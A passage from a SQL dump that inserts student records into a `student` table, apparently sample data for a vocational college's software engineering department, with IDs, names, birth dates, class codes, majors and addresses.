'计算机网络技术 ', '临沂莒南县团林镇前沙沟');INSERT INTO `student` VALUES ('2007030115', '杨小冰', '男', '1989-08-10', '20070301', '软件工程系 ', '计算机网络技术 ', '济宁汶上县汶上镇花园村路406号');INSERT INTO `student` VALUES ('2007030116', '董军军', '男', '1987-11-11', '20070301', '软件工程系 ', '计算机网络技术 ', '聊城东阿县妇联');INSERT INTO `student` VALUES ('2007030117', '赵文斌', '男', '1988-08-25', '20070301', '软件工程系 ', '计算机网络技术 ', '青岛莱西市职业中专');INSERT INTO `student` VALUES ('2007030118', '苏美丽', '女', '1988-07-10', '20070301', '软件工程系 ', '计算机网络技术 ', '菏泽东明县长兴乡安庄村');INSERT INTO `student` VALUES ('2007030119', '李明明', '女', '1988-09-12', '20070301', '软件工程系 ', '计算机网络技术 ', '德州德城区月亮潭小区');INSERT INTO `student` VALUES ('2007030120', '何美美 ', '女', '1988-05-16', '20070301', '软件工程系 ', '计算机网络技术 ', '临沂河东区蒙凌学校');INSERT INTO `student` VALUES ('2007030121', '谷文秀', '女', '1989-01-05', '20070301', '软件工程系 ', '计算机网络技术 ', '山西省长治北工行西家属院');INSERT INTO `student` VALUES ('2007030122', '李建国', '男', '1988-06-12', '20070301', '软件工程系 ', '计算机网络技术 ', '菏泽巨野县董官屯镇义和庄');INSERT INTO `student` VALUES ('2007030123', '唐英杰', '男', '1989-12-04', '20070301', '软件工程系 ', '计算机网络技术 ', '临沂平邑县地方镇小宋家庄村');INSERT INTO `student` VALUES ('2007030124', '孟冰', '男', '1987-11-06', '20070301', '软件工程系 ', '计算机网络技术 ', '济南济阳县济阳一中');INSERT INTO `student` VALUES ('2007030125', '张晓琦 ', '男', '1988-10-14', '20070301', '软件工程系 ', '计算机网络技术 ', '德州夏津县文化路人行家属院');INSERT INTO `student` VALUES ('2007030126', '张明磊 ', '男', '1989-05-12', '20070301', '软件工程系 ', '计算机网络技术 ', '潍坊昌乐县昌乐一中');INSERT INTO `student` VALUES ('2007030127', '孙龙龙', '男', '1988-11-20', '20070301', '软件工程系 ', '计算机网络技术 ', '临沂罗庄区盛庄办事处尚屯村');INSERT INTO `student` VALUES ('2007030128', '闫秀梅', '女', '1987-09-16', '20070301', '软件工程系 ', '计算机网络技术 ', '德州临邑县德平镇碱李村');INSERT INTO `student` VALUES ('2007030129', '唐小英', '女', '1988-05-27', '20070301', '软件工程系 ', '计算机网络技术 ', '河南省范县濮城镇罗楼村');INSERT INTO `student` VALUES ('2007030130', '赵超超', '男', '1988-02-27', '20070301', '软件工程系 ', '计算机网络技术 ', '青岛市北区镇江路27号志成中学');INSERT INTO `student` VALUES ('2007030131', '徐庆明', '男', '1988-11-27', '20070301', '软件工程系 ', '计算机网络技术 ', '潍坊青州市青州市第一职业中专');INSERT INTO `student` VALUES ('2007030132', '安洁', '男', '1990-11-07', '20070301', '软件工程系 ', '计算机网络技术 ', '烟台蓬莱市第三干休所9907室');INSERT INTO `student` VALUES ('2007030133', '许立伟', '女', '1987-07-22', '20070301', '软件工程系 ', '计算机网络技术 ', '滨州无棣县水湾镇潘家村');INSERT INTO `student` VALUES ('2007030134', '安华', '女', '1990-03-06', '20070301', '软件工程系 ', '计算机网络技术 ', '济宁任城区喻屯镇孟庄村');INSERT INTO `student` VALUES ('2007030135', '葛强强', '男', '1989-01-03', '20070301', '软件工程系 ', '计算机网络技术 ', '烟台海阳市小纪镇望宿村');INSERT INTO `student` VALUES ('2007030136', '董晓玲', '女', '1989-04-18', '20070301', '软件工程系 ', '计算机网络技术 ', '威海荣成市石岛镇姜家疃村大队');INSERT INTO `student` VALUES ('2007030137', '谷芸', '女', '1987-04-04', '20070301', '软件工程系 ', '计算机网络技术 ', '菏泽单县职业中专');INSERT INTO `student` VALUES ('2007030138', '赵帅帅', '男', '1989-02-03', '20070301', '软件工程系 ', '计算机网络技术 ', '泰安岱岳区泰安四中');INSERT INTO `student` VALUES ('2007030139', '李琳琳', '女', '1989-03-15', '20070301', '软件工程系 ', '计算机网络技术 ', '青岛胶南市胶南电子学校');INSERT INTO `student` VALUES ('2007030140', '时小娇', '女', '1988-09-25', '20070301', '软件工程系 ', '计算机网络技术 ', '菏泽东明县陆圈镇郝桥村');INSERT INTO `student` VALUES ('2007030141', '宋静静', '女', '1989-02-07', '20070301', '软件工程系 ', '计算机网络技术 ', '临沂莒南县十字路园丁花园');INSERT INTO `student` VALUES ('2007030142', '原野', '男', '1989-06-04', '20070301', '软件工程系 ', '计算机网络技术 ', '青岛李沧区京口路78号');INSERT INTO `student` VALUES ('2007030143', '秦凯亮', '男', '1988-05-13', '20070301', '软件工程系 ', '计算机网络技术 ', '青岛市北区青城路');INSERT INTO `student` VALUES ('2007030144', '张鹏', '男', '1989-03-28', '20070301', '软件工程系 ', '计算机网络技术 ', '青岛胶南市胶南电子学校');INSERT INTO `student` VALUES ('2007030145', '高小花', '女', '1986-06-26', '20070301', '软件工程系 ', '计算机网络技术 ', '济宁嘉祥县纸坊镇后吕村');INSERT INTO `student` VALUES ('2007030146', '吕亭亭', '男', '1988-03-15', '20070301', '软件工程系 ', '计算机网络技术 ', '山西左云星源中学');INSERT INTO `student` VALUES ('2007030147', '安晓东', '男', '1905-06-14', '20070301', '软件工程系 ', '计算机网络技术 ', '德州陵县边临镇西魏村');INSERT INTO `student` VALUES ('2007030201', '于小胖', '男', '1988-05-10', '20070302', '软件工程系 ', '计算机网络技术 ', '青岛平度仁兆镇于家泊村');INSERT INTO `student` VALUES ('2007030202', '张亮亮', '男', '1989-01-19', '20070302', '软件工程系 ', '计算机网络技术 ', '枣庄市中区西王庄乡中心校');INSERT INTO `student` VALUES ('2007030203', '吴玉颖 ', '女', '1989-09-21', '20070302', '软件工程系 ', '计算机网络技术 ', '威海乳山市白沙滩镇孔家庄');INSERT INTO `student` VALUES ('2007030204', '王丹妮 ', '女', '1986-02-28', '20070302', '软件工程系 ', '计算机网络技术 ', '济宁汶上县南站镇黄店北村');INSERT INTO `student` VALUES ('2007030205', '时盛开', '男', '1987-09-19', '20070302', '软件工程系 ', '计算机网络技术 ', '济宁汶上县中都大街47号');INSERT INTO `student` VALUES ('2007030206', '王大妮', '女', '1988-11-24', '20070302', '软件工程系 ', '计算机网络技术 ', '威海乳山市崖子镇东庄村');INSERT INTO `student` VALUES ('2007030207', '王美丽', '女', '1989-11-29', '20070302', '软件工程系 ', '计算机网络技术 ', '青岛崂山区中韩镇东韩村');INSERT INTO `student` VALUES ('2007030208', '李睿', '男', '1988-10-21', '20070302', '软件工程系 ', '计算机网络技术 ', '临沂平邑县平邑亚欧学校');INSERT INTO `student` VALUES ('2007030209', '王新新', '男', '1988-09-11', '20070302', '软件工程系 ', '计算机网络技术 ', '台安县第二高级中学三年五班');INSERT INTO `student` VALUES ('2007030210', '赵秋玲', '女', '1988-08-24', '20070302', '软件工程系 ', '计算机网络技术 ', '烟台龙口市一职');INSERT INTO `student` VALUES ('2007030211', '季明明', '男', '1989-01-16', '20070302', '软件工程系 ', '计算机网络技术 ', '临沂沂南县沂南二中二分校');INSERT INTO `student` VALUES ('2007030212', '田强', '男', '1987-10-09', '20070302', '软件工程系 ', '计算机网络技术 ', '济宁鱼台县李阁镇任寺村');INSERT INTO `student` VALUES ('2007030213', '齐刚', '男', '1987-03-15', '20070302', '软件工程系 ', '计算机网络技术 ', '烟台龙口市石良镇东庄头村');INSERT INTO `student` VALUES ('2007030214', '刘冰', '男', '1986-06-19', '20070302', '软件工程系 ', '计算机网络技术 ', '淄博沂源县沂源二中');INSERT INTO `student` VALUES ('2007030215', '李文启', '男', '1988-02-13', '20070302', '软件工程系 ', '计算机网络技术 ', '临沂蒙阴县蒙阴镇谭家召子村');INSERT INTO `student` VALUES ('2007030216', '刘英美', '女', '1984-01-05', '20070302', '软件工程系 ', '计算机网络技术 ', '菏泽单县职业中专');INSERT INTO `student` VALUES ('2007030217', '李健康', '男', '1989-01-08', '20070302', '软件工程系 ', '计算机网络技术 ', '济南历城区农科院作物所');INSERT INTO `student` VALUES ('2007030218', '苏壮壮', '男', '1989-01-20', '20070302', '软件工程系 ', '计算机网络技术 ', '青岛胶南市胶河镇中心中学传达室');INSERT INTO `student` VALUES ('2007030219', '刘亮亮', '男', '1989-09-10', '20070302', '软件工程系 ', '计算机网络技术 ', '菏泽牡丹区22中家属院');INSERT INTO `student` VALUES ('2007030220', '王磊', '男', '1989-03-10', '20070302', '软件工程系 ', '计算机网络技术 ', '临沂苍山县卞庄镇一中');INSERT INTO `student` VALUES ('2007030221', '古乐乐', '男', '1905-06-14', '20070302', '软件工程系 ', '计算机网络技术 ', '辽宁省大石桥市二高中');INSERT INTO `student` VALUES ('2007030222', '刘珍玲', '女', '1988-07-08', '20070302', '软件工程系 ', '计算机网络技术 ', '烟台芝罘区烟台市芝罘区');INSERT INTO `student` VALUES ('2007030223', '孙孟娇', '女', '1989-02-19', '20070302', '软件工程系 ', '计算机网络技术 ', '济宁微山县马坡乡荆冢集北村');INSERT INTO `student` VALUES ('2007030224', '石磊', '男', '1988-02-16', '20070302', '软件工程系 ', '计算机网络技术 ', '泰安肥城市肥城矿业集团公司中学');INSERT INTO `student` VALUES ('2007030225', '朱李记', '男', '1989-03-01', '20070302', '软件工程系 ', '计算机网络技术 ', '潍坊安丘市景芝镇朱家沙浯村');INSERT INTO `student` VALUES ('2007030226', '牟小刚 ', '男', '1987-06-20', '20070302', '软件工程系 ', '计算机网络技术 ', '日照五莲县一中');INSERT INTO `student` VALUES ('2007030227', '吴达', '男', '1987-03-23', '20070302', '软件工程系 ', '计算机网络技术 ', '菏泽鄄城县第一中学');INSERT INTO `student` VALUES ('2007030228', '赵龙龙', '男', '1987-12-28', '20070302', '软件工程系 ', '计算机网络技术 ', '潍坊昌乐县城关街道蓝宝石');INSERT INTO `student` VALUES ('2007030229', '任丽丽', '女', '1987-04-24', '20070302', '软件工程系 ', '计算机网络技术 ', '泰安岱岳区泰安四中');INSERT INTO `student` VALUES ('2007030230', '李冰冰', '男', '1987-04-18', '20070302', '软件工程系 ', '计算机网络技术 ', '济宁汶上县苑庄镇中小秦村');INSERT INTO `student` VALUES ('2007030231', '朱小龙', '男', '1987-12-23', '20070302', '软件工程系 ', '计算机网络技术 ', '大连市旅顺口区东安路(三涧段)455号');INSERT INTO `student` VALUES ('2007030232', '杨尼尼', '女', '1989-06-23', '20070302', '软件工程系 ', '计算机网络技术 ', '泰安岱岳区泰安市岱岳区山口镇成教中心');INSERT INTO `student` VALUES ('2007030233', '杨小妮', '女', '1988-11-03', '20070302', '软件工程系 ', '计算机网络技术 ', '菏泽单县职业中专');INSERT INTO `student` VALUES ('2007030234', '苏磊', '男', '1988-09-05', '20070302', '软件工程系 ', '计算机网络技术 ', '德州夏津县夏津镇苦水村');INSERT INTO `student` VALUES ('2007030235', '苏大萌 ', '女', '1987-12-04', '20070302', '软件工程系 ', '计算机网络技术 ', '菏泽牡丹区立交桥生活小区');INSERT INTO `student` VALUES ('2007030236', '苟小宇', '男', '1986-10-09', '20070302', '软件工程系 ', '计算机网络技术 ', '泰安新泰市新汶矿业集团一中');INSERT INTO `student` VALUES ('2007030237', '时庆勇', '女', '1988-12-13', '20070302', '软件工程系 ', '计算机网络技术 ', '青岛城阳区上马街道青岛东风盐场');INSERT INTO `student` VALUES ('2007030238', '困难', '男', '1989-02-10', '20070302', '软件工程系 ', '计算机网络技术 ', '泰安岱岳区泰安市三职专');INSERT INTO `student` VALUES ('2007030239', '姚明艳', '女', '1987-04-04', '20070302', '软件工程系 ', '计算机网络技术 ', '烟台开发区高级中学');INSERT INTO `student` VALUES ('2007030240', '胡一天', '男', '1989-11-12', '20070302', '软件工程系 ', '计算机网络技术 ', '临沂罗庄区商业街路');INSERT INTO `student` VALUES ('2007030241', '秦勇', '男', '1987-02-18', '20070302', '软件工程系 ', '计算机网络技术 ', '潍坊安丘市石堆镇西王里居村');INSERT INTO `student` VALUES ('2007030242', '季小林 ', '男', '1986-08-05', '20070302', '软件工程系 ', '计算机网络技术 ', '泰安宁阳县东疏镇孙集村');INSERT INTO `student` VALUES ('2007030243', '徐龙明', '男', '1988-04-27', '20070302', '软件工程系 ', '计算机网络技术 ', '济宁梁山县韩垓镇油坊村');INSERT INTO `student` VALUES ('2007030244', '林强强', '男', '1988-01-27', '20070302', '软件工程系 ', '计算机网络技术 ', '临沂郯城县高峰头镇店子村');INSERT INTO `student` VALUES ('2007030245', '徐大白', '男', '1987-10-29', '20070302', '软件工程系 ', '计算机网络技术 ', '烟台海阳市行村镇东村庄');INSERT INTO `student` VALUES ('2007030246', '高亮亮', '男', '1988-12-16', '20070302', '软件工程系 ', '计算机网络技术 ', '潍坊奎文区民生东街');INSERT INTO `student` VALUES ('2007030247', '大鹏', '男', '1988-02-28', '20070302', '软件工程系 ', '计算机网络技术 ', '枣庄滕州市姜屯镇戚庄');INSERT INTO `student` VALUES ('2007030248', '谢顶顶', '男', '1989-01-30', '20070302', '软件工程系 ', '计算机网络技术 ', '泰安宁阳县宁阳镇富贵小区');INSERT INTO `student` VALUES ('2007030249', '张美艳 ', '女', '1984-06-18', '20070302', '软件工程系 ', '计算机网络技术 ', '菏泽单县职业中专');INSERT INTO `student` VALUES ('2007030250', '平丽丽', '女', '1989-06-01', '20070302', '软件工程系 ', '计算机网络技术 ', '济宁汶上县泉河大街');INSERT INTO `student` VALUES ('2007030301', '张军', '男', '1987-02-26', '20070303', '软件工程系 ', '计算机网络技术 ', '潍坊高密市高密市实验中学');INSERT INTO `student` VALUES ('2007030302', '刘海虎', '男', '1990-02-10', '20070303', '软件工程系 ', '计算机网络技术 ', '青岛市北区错埠岭4小区');INSERT INTO `student` VALUES ('2007030303', '孔子明', '男', '1987-10-16', '20070303', '软件工程系 ', '计算机网络技术 ', '枣庄滕州市姜屯镇前孔庄村');INSERT INTO `student` VALUES ('2007030304', '方芳', '女', '1988-09-11', '20070303', '软件工程系 ', '计算机网络技术 ', '济宁任城区李营镇李营村');INSERT INTO `student` VALUES ('2007030305', '田甜', '女', '1989-10-24', '20070303', '软件工程系 ', '计算机网络技术 ', '济宁任城区长沟镇崔庄村');INSERT INTO `student` VALUES ('2007030306', '王大强', '男', '1986-08-22', '20070303', '软件工程系 ', '计算机网络技术 ', '青岛即墨市第一中学');INSERT INTO `student` VALUES ('2007030307', '吕海亮', '男', '1987-10-12', '20070303', '软件工程系 ', '计算机网络技术 ', '潍坊寿光市一中');INSERT INTO `student` VALUES ('2007030308', '杨宁宁', '男', '1988-05-26', '20070303', '软件工程系 ', '计算机网络技术 ', '济南商河县一中');INSERT INTO `student` VALUES ('2007030309', '安凌凌', '女', '1989-01-20', '20070303', '软件工程系 ', '计算机网络技术 ', '威海荣成市石岛镇大鱼岛村四区');INSERT INTO `student` VALUES ('2007030310', '冉伟刚', '男', '1988-02-26', '20070303', '软件工程系 ', '计算机网络技术 ', '菏泽定陶县山东省成武县九女集镇郭庙村');INSERT INTO `student` VALUES ('2007030311', '唐鹏', '男', '1989-10-28', '20070303', '软件工程系 ', '计算机网络技术 ', '菏泽郓城县实验中学');INSERT INTO `student` VALUES ('2007030312', '李晓旭', '男', '1988-09-02', '20070303', '软件工程系 ', '计算机网络技术 ', '济南市中区建设路');INSERT INTO `student` VALUES ('2007030313', '李建', '男', '1989-08-04', '20070303', '软件工程系 ', '计算机网络技术 ', '滨州无棣县无棣镇石三里村');INSERT INTO `student` VALUES ('2007030314', '刘忠玉', '男', '1988-12-01', '20070303', '软件工程系 ', '计算机网络技术 ', '临沂蒙阴县常路镇富成庄村');INSERT INTO `student` VALUES ('2007030315', '李富豪', '男', '1987-09-15', '20070303', '软件工程系 ', '计算机网络技术 ', '潍坊昌邑市昌邑市第二中学');INSERT INTO `student` VALUES ('2007030316', '张姝', '女', '1987-07-18', '20070303', '软件工程系 ', '计算机网络技术 ', '青岛开发区红石崖镇雷家店子村');INSERT INTO `student` VALUES ('2007030317', '任小伟', '男', '1988-02-24', '20070303', '软件工程系 ', '计算机网络技术 ', '烟台海阳市东村镇电信局');INSERT INTO `student` VALUES ('2007030318', '朱海齐', '男', '1987-07-03', '20070303', '软件工程系 ', '计算机网络技术 ', '青岛平度市白埠镇和平村');INSERT INTO `student` VALUES ('2007030319', '成功', '男', '1988-09-18', '20070303', '软件工程系 ', '计算机网络技术 ', '河北定州中学016班');INSERT INTO `student` VALUES ('2007030320', '吴海峰', '女', '1989-03-07', '20070303', '软件工程系 ', '计算机网络技术 ', '日照岚山区岚山区后村镇焦家集村');INSERT INTO `student` VALUES ('2007030321', '孟健', '男', '1989-02-07', '20070303', '软件工程系 ', '计算机网络技术 ', '临沂蒙阴县蒙阴镇南官庄村');INSERT INTO `student` VALUES ('2007030322', '吴静静', '女', '1986-06-24', '20070303', '软件工程系 ', '计算机网络技术 ', '青岛即墨市丰城镇东百里村');INSERT INTO `student` VALUES ('2007030323', '宋爱华', '男', '1988-01-18', '20070303', '软件工程系 ', '计算机网络技术 ', '德州武城县第二中学');INSERT INTO `student` VALUES ('2007030324', '张锦程', '男', '1988-04-09', '20070303', '软件工程系 ', '计算机网络技术 ', '枣庄滕州市龙阳镇冯营村');INSERT INTO `student` VALUES ('2007030325', '李芳芳', '女', '1988-11-10', '20070303', '软件工程系 ', '计算机网络技术 ', '临沂蒙阴县界牌镇尚庄村');INSERT INTO `student` VALUES ('2007030326', '孙银', '男', '1988-02-01', '20070303', '软件工程系 ', '计算机网络技术 ', '临沂平邑县地方镇三山村');INSERT INTO `student` VALUES ('2007030327', '季小敏', '女', '1984-12-15', '20070303', '软件工程系 ', '计算机网络技术 ', '日照莒县浮来山镇后官庄村');INSERT INTO `student` VALUES ('2007030328', '张安鹏', '男', '1987-09-17', '20070303', '软件工程系 ', '计算机网络技术 ', '济宁梁山县徐集镇吴大庙村');INSERT INTO `student` VALUES ('2007030329', '孙星', '男', '1988-04-02', '20070303', '软件工程系 ', '计算机网络技术 ', '济宁任城区');INSERT INTO `student` VALUES ('2007030330', '孙亮', '男', '1987-03-05', '20070303', '软件工程系 ', '计算机网络技术 ', '潍坊昌邑市昌邑市第二中学');INSERT INTO `student` VALUES ('2007030331', '董新姝', '女', '1989-10-14', '20070303', '软件工程系 ', '计算机网络技术 ', '潍坊安丘市景芝镇吉台官庄村');INSERT INTO `student` VALUES ('2007030332', '张丽莉', '女', '1987-03-19', '20070303', '软件工程系 ', '计算机网络技术 ', '菏泽东明县陆圈镇郝桥村');INSERT INTO `student` VALUES ('2007030333', '朱凯凯', '男', '1989-03-25', '20070303', '软件工程系 ', '计算机网络技术 ', '潍坊昌乐县第一中学');INSERT INTO `student` VALUES ('2007030334', '张帅', '男', '1988-08-31', '20070303', '软件工程系 ', '计算机网络技术 ', '菏泽牡丹区吴店镇曹庄村937号');INSERT INTO `student` VALUES ('2007030335', '马艳红', '女', '1988-08-20', '20070303', '软件工程系 ', '计算机网络技术 ', '东营广饶县石村镇圈子村');INSERT INTO `student` VALUES ('2007030336', '高松松', '男', '1987-12-21', '20070303', '软件工程系 ', '计算机网络技术 ', '青岛平度市白埠镇李家埠子村8189号');INSERT INTO `student` VALUES ('2007030337', '田志', '男', '1987-09-26', '20070303', '软件工程系 ', '计算机网络技术 ', '青岛市北区浮山后四小区');INSERT INTO `student` VALUES ('2007030338', '吴琦', '男', '1987-09-11', '20070303', '软件工程系 ', '计算机网络技术 ', '潍坊昌邑市昌邑市第二中学');INSERT INTO `student` VALUES ('2007030339', '陆朋朋', '男', '1987-07-01', '20070303', '软件工程系 ', '计算机网络技术 ', '枣庄台儿庄区张山子镇鹿荒村');INSERT INTO `student` VALUES ('2007030340', '明丽丽 ', '女', '1987-10-27', '20070303', '软件工程系 ', '计算机网络技术 ', '河北省秦皇岛市青龙县第一中学');INSERT INTO `student` VALUES ('2007030341', '程度', '男', '1989-03-10', '20070303', '软件工程系 ', '计算机网络技术 ', '潍坊临朐县东城区杨家场村');INSERT INTO `student` VALUES ('2007030342', '王芳', '女', '1989-01-06', '20070303', '软件工程系 ', '计算机网络技术 ', '枣庄薛城区兴仁办事处');INSERT INTO `student` VALUES ('2007030343', '张东东', '男', '1988-10-30', '20070303', '软件工程系 ', '计算机网络技术 ', '潍坊临朐县营子镇董家崖村');INSERT INTO `student` VALUES ('2007030344', '韩乐', '男', '1988-02-10', '20070303', '软件工程系 ', '计算机网络技术 ', '潍坊坊子区潍坊十二中');INSERT INTO `student` VALUES ('2007030345', '于晓东', '男', '1989-11-06', '20070303', '软件工程系 ', '计算机网络技术 ', '德州禹城市职业中专');INSERT INTO `student` VALUES ('2007030401', '魏敏敏', '女', '1987-06-30', '20070304', '软件工程系 ', '软件技术 ', '烟台海阳市方圆街道办事处它山泊村7464号');INSERT INTO `student` VALUES ('2007030402', '金鑫 ', '男', '1990-06-27', '20070304', '软件工程系 ', '软件技术 ', '临沂平邑县财源南区');INSERT INTO `student` VALUES ('2007030403', '王凤霞', '女', '1986-01-16', '20070304', '软件工程系 ', '软件技术 ', '泰安东平县州城镇西门村');INSERT INTO `student` VALUES ('2007030404', '李刚', '男', '1989-04-05', '20070304', '软件工程系 ', '软件技术 ', '青岛城阳区明阳路6260号');INSERT INTO `student` VALUES ('2007030405', '马骊', '女', '1987-06-08', '20070304', '软件工程系 ', '软件技术 ', '济宁邹城市郭里镇经济园区3337号');INSERT INTO `student` VALUES ('2007030406', '张美玲', '女', '1988-01-01', '20070304', '软件工程系 ', '软件技术 ', '德州临邑县兴隆镇段店村');INSERT INTO `student` VALUES ('2007030407', '任晓亮', '男', '1989-12-01', '20070304', '软件工程系 ', '软件技术 ', '菏泽鄄城县第二中学');INSERT INTO `student` VALUES ('2007030408', '张志海', '男', '1986-09-20', '20070304', '软件工程系 ', '软件技术 ', '济宁微山县两城乡西单村');INSERT INTO `student` VALUES ('2007030409', '苏醒', '男', '1988-11-24', '20070304', '软件工程系 ', '软件技术 ', '青岛市北区宝应路');INSERT INTO `student` VALUES ('2007030410', '林晓芹', '女', '1986-02-16', '20070304', '软件工程系 ', '软件技术 ', '济宁梁山县馆驿镇西北楼村');INSERT INTO `student` VALUES ('2007030411', '王娇', '女', '1988-09-30', '20070304', '软件工程系 ', '软件技术 ', '潍坊昌乐县昌乐二中');INSERT INTO `student` VALUES ('2007030412', '孙奔奔', '男', '1989-04-30', '20070304', '软件工程系 ', '软件技术 ', '青岛即墨市第二中学');INSERT INTO `student` VALUES ('2007030413', '朱聪明', '男', '1989-10-08', '20070304', '软件工程系 ', '软件技术 ', '菏泽单县职业中专');INSERT INTO `student` VALUES ('2007030414', '唐晓明', '男', '1988-10-23', '20070304', '软件工程系 ', '软件技术 ', '聊城莘县董杜庄镇西吴家村');INSERT INTO `student` VALUES ('2007030415', '董鸿', '男', '1988-11-02', '20070304', '软件工程系 ', '软件技术 ', '济南历城区济南市历城第五中学');INSERT INTO `student` VALUES ('2007030416', '董莉莉 ', '女', '1985-05-27', '20070304', '软件工程系 ', '软件技术 ', '临沂平邑县郑城镇新元村');INSERT INTO `student` VALUES ('2007030417', '李明丽', '女', '1989-12-28', '20070304', '软件工程系 ', '软件技术 ', '济宁梁山县徐集镇才林村9104号');INSERT INTO `student` VALUES ('2007030418', '杨海峰', '男', '1988-03-14', '20070304', '软件工程系 ', '软件技术 ', '泰安泰山区邱家店温辛庄');INSERT INTO `student` VALUES ('2007030419', '赵美美', '女', '1989-09-20', '20070304', '软件工程系 ', '软件技术 ', '滨州无棣县水湾镇白杨村');INSERT INTO `student` VALUES ('2007030420', '季小飞', '男', '1989-03-12', '20070304', '软件工程系 ', '软件技术 ', '济南商河县二中');INSERT INTO `student` VALUES ('2007030421', '齐凯', '男', '1987-09-18', '20070304', '软件工程系 ', '软件技术 ', '菏泽曹县曹城镇李楼寨行政村');INSERT INTO `student` VALUES ('2007030422', '区海洋', '男', '1989-04-08', '20070304', '软件工程系 ', '软件技术 ', '济宁任城区李营镇李庄村');INSERT INTO `student` VALUES ('2007030423', '杜林', '男', '1987-06-19', '20070304', '软件工程系 ', '软件技术 ', '威海市高区天津路');INSERT INTO `student` VALUES ('2007030424', '秦陆', '男', '1987-06-04', '20070304', '软件工程系 ', '软件技术 ', '德州武城县郝王庄镇聂官屯村034号');INSERT INTO `student` VALUES ('2007030425', '苏伟刚', '男', '1987-11-26', '20070304', '软件工程系 ', '软件技术 ', '潍坊寒亭区一中');INSERT INTO `student` VALUES ('2007030426', '张美凤', '女', '1987-09-06', '20070304', '软件工程系 ', '软件技术 ', '潍坊高密市第四中学');INSERT INTO `student` VALUES ('2007030427', '吴刚', '男', '1988-02-03', '20070304', '软件工程系 ', '软件技术 ', '菏泽鄄城县第二中学驻城校区');INSERT INTO `student` VALUES ('2007030428', '张楠', '男', '1987-09-28', '20070304', '软件工程系 ', '软件技术 ', '临沂临沭县临沭县第二小学');INSERT INTO `student` VALUES ('2007030429', '时晓光', '女', '1988-10-20', '20070304', '软件工程系 ', '软件技术 ', '济南平阴县一中东校文三班');INSERT INTO `student` VALUES ('2007030430', '林海源', '男', '1987-09-20', '20070304', '软件工程系 ', '软件技术 ', '潍坊潍城区北宫西街205号潍坊一职专');INSERT INTO `student` VALUES ('2007030431', '林海峰', '男', '1989-01-29', '20070304', '软件工程系 ', '软件技术 ', '枣庄滕州市西岗镇柴里矿装修公司');INSERT INTO `student` VALUES ('2007030432', '朱量', '男', '1987-10-25', '20070304', '软件工程系 ', '软件技术 ', '聊城莘县实验高中');INSERT INTO `student` VALUES ('2007030433', '闫凯凯', '男', '1989-11-17', '20070304', '软件工程系 ', '软件技术 ', '泰安肥城市泰西中学美术组');INSERT INTO `student` VALUES ('2007030434', '李亮亮', '男', '1987-01-14', '20070304', '软件工程系 ', '软件技术 ', '济南槐荫区宋园新区');INSERT INTO `student` VALUES ('2007030435', '赵恺', '男', '1988-03-16', '20070304', '软件工程系 ', '软件技术 ', '潍坊安丘市景芝镇庆安北村');INSERT INTO `student` VALUES ('2007030436', '张晓栋', '男', '1988-08-20', '20070304', '软件工程系 ', '软件技术 ', '青岛胶南市大场镇后老窝149号');INSERT INTO `student` VALUES ('2007030437', '郭城', '男', '1988-02-20', '20070304', '软件工程系 ', '软件技术 ', '菏泽牡丹区吴店镇二郎庙村');INSERT INTO `student` VALUES ('2007030438', '郭小峰', '男', '1986-12-21', '20070304', '软件工程系 ', '软件技术 ', '潍坊寿光市潍坊科技职业学院');INSERT INTO `student` VALUES ('2007030439', '李国峰', '男', '1988-12-25', '20070304', '软件工程系 ', '软件技术 ', '烟台海阳市东村街道初格庄村1824号');INSERT INTO `student` VALUES ('2007030440', '李林葶 ', '女', '1988-03-25', '20070304', '软件工程系 ', '软件技术 ', '潍坊安丘市管公镇高家辛庄子村');INSERT INTO `student` VALUES ('2007030441', '李林菲', '女', '1988-02-09', '20070304', '软件工程系 ', '软件技术 ', '烟台龙口市一职');INSERT INTO `student` VALUES ('2007030442', '李海霞', '女', '1989-06-01', '20070304', '软件工程系 ', '软件技术 ', '临沂平邑县一中保卫科');INSERT INTO `student` VALUES ('2007030443', '秦芳芳', '女', '1987-12-28', '20070304', '软件工程系 ', '软件技术 ', '济南商河县二中');INSERT INTO `student` VALUES ('2007030444', '董震', '男', '1988-10-24', '20070304', '软件工程系 ', '软件技术 ', '德州夏津县宋楼镇靳庄村196号');INSERT INTO `student` VALUES ('2007030445', '裴明', '男', '1987-08-25', '20070304', '软件工程系 ', '软件技术 ', '烟台莱州市城港路街道朱旺村');INSERT INTO `student` VALUES ('2007030446', '胡丽丽', '女', '1988-05-01', '20070304', '软件工程系 ', '软件技术 ', '潍坊昌乐县昌乐二中');INSERT INTO `student` VALUES ('2007030447', '安浩', '男', '1991-01-01', '20070304', '软件工程系 ', '软件技术 ', '济南市');INSERT INTO `student` VALUES ('2007030501', '王红', '女', '1988-08-05', '20070305', '软件工程系 ', '软件技术(动漫方向)', '东营利津县二中');INSERT INTO `student` VALUES ('2007030502', '张小勇', '男', '1987-11-30', '20070305', '软件工程系 ', '软件技术(动漫方向)', '潍坊奎文区奎文区廿里堡办事处王家庄村');INSERT INTO `student` VALUES ('2007030503', '马小栋', '男', '1988-10-10', '20070305', '软件工程系 ', '软件技术(动漫方向)', '泰安新泰市实验中学高中部校长室');INSERT INTO `student` VALUES ('2007030504', '马凯', '男', '1988-09-07', '20070305', '软件工程系 ', '软件技术(动漫方向)', '济宁市中区常青路0016号');INSERT INTO `student` VALUES ('2007030505', '田亮亮', '男', '1988-06-20', '20070305', '软件工程系 ', '软件技术(动漫方向)', '枣庄滕州市滕州日报社田璐');INSERT INTO `student` VALUES ('2007030506', '刘庆祝', '男', '1988-06-22', '20070305', '软件工程系 ', '软件技术(动漫方向)', '临沂蒙阴县垛庄镇四十亩地村');INSERT INTO `student` VALUES ('2007030507', '安丽丽', '女', '1988-12-13', '20070305', '软件工程系 ', '软件技术(动漫方向)', '临沂费县石井镇同兴村');INSERT INTO `student` VALUES ('2007030508', '安晓南', '男', '1988-12-15', '20070305', '软件工程系 ', '软件技术(动漫方向)', '青岛城阳区城阳一中');INSERT INTO `student` VALUES ('2007030509', '张晓', '女', '1989-09-21', '20070305', '软件工程系 ', '软件技术(动漫方向)', '潍坊安丘市职业中专');INSERT INTO `student` VALUES ('2007030510', '车美', '女', '1988-04-29', '20070305', '软件工程系 ', '软件技术(动漫方向)', '威海市直火炬路177号威海信息工程学校');INSERT INTO `student` VALUES ('2007030511', '林东东', '男', '1988-10-30', '20070305', '软件工程系 ', '软件技术(动漫方向)', '潍坊诸城市昌城镇大庄家河岔村');INSERT INTO `student` VALUES ('2007030512', '林一莲', '女', '1988-07-12', '20070305', '软件工程系 ', '软件技术(动漫方向)', '菏泽成武县山东省成武县前程职业高中');INSERT INTO `student` VALUES ('2007030513', '林小菊', '女', 